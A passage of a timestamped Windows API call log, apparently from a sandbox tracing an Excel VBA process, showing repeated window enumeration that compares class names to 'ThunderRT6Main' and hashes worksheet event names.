[0144.098] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0144.098] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0144.098] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.098] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.098] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0144.098] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.099] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.099] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0144.099] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.099] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0144.099] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0144.099] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0144.099] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0144.099] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0144.099] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0144.099] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0144.099] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0144.099] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0144.099] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.099] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.099] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0144.099] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0144.099] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0144.100] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0144.100] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0144.100] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.100] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0144.100] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0144.100] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.100] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0144.100] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0144.100] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0144.100] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0144.100] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.100] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0144.100] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0144.100] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0144.100] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0144.100] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.100] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.100] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0144.101] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0144.101] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0144.101] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0144.101] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0144.101] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.101] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0144.101] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0144.101] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0144.101] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.101] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0144.101] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0144.101] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.101] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0144.101] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0144.101] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.101] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0144.101] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.101] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.101] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0144.101] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0144.101] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0144.101] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0144.101] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0144.101] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0144.101] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0144.101] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0144.101] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.102] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.102] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0144.102] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0144.102] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.102] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.102] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0144.102] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0144.102] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0144.102] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0144.102] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0144.102] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0144.102] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0144.102] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0144.102] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.102] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0144.102] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x59664f0 [0144.102] IMalloc:Free (This=0x7fefe465380, pv=0x59664f0) [0144.184] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0144.184] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0144.184] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0144.184] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0144.184] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0144.184] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0144.193] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0144.193] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0144.193] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0144.199] GetCurrentThreadId () returned 0xa30 [0144.199] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0144.199] GetDesktopWindow () returned 0x10010 [0144.199] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0144.199] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0144.199] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0144.199] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0144.199] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0144.199] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0144.199] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0144.199] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0144.199] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0144.199] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0144.199] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0144.199] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0144.199] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.199] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.199] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.199] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0144.200] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0144.200] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0144.200] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0144.200] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0144.200] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.200] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0144.200] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0144.200] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0144.200] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0144.200] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0144.200] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0144.200] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.200] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0144.200] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0144.200] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0144.200] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0144.200] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.200] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.200] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0144.200] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0144.201] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.201] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0144.201] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.201] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.201] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0144.201] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0144.201] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0144.201] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0144.201] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.201] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0144.201] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0144.201] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0144.201] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0144.201] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0144.201] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0144.201] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0144.201] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0144.201] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0144.201] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0144.201] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.201] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0144.201] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0144.201] IsWindowEnabled (hWnd=0x302dc) returned 1 [0144.201] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0144.201] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0144.201] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0144.201] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0144.201] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0144.201] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0144.201] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0144.201] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0144.201] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.201] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0144.201] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0144.201] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0144.201] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0144.202] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.202] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0144.202] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0144.202] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0144.202] GetWindow 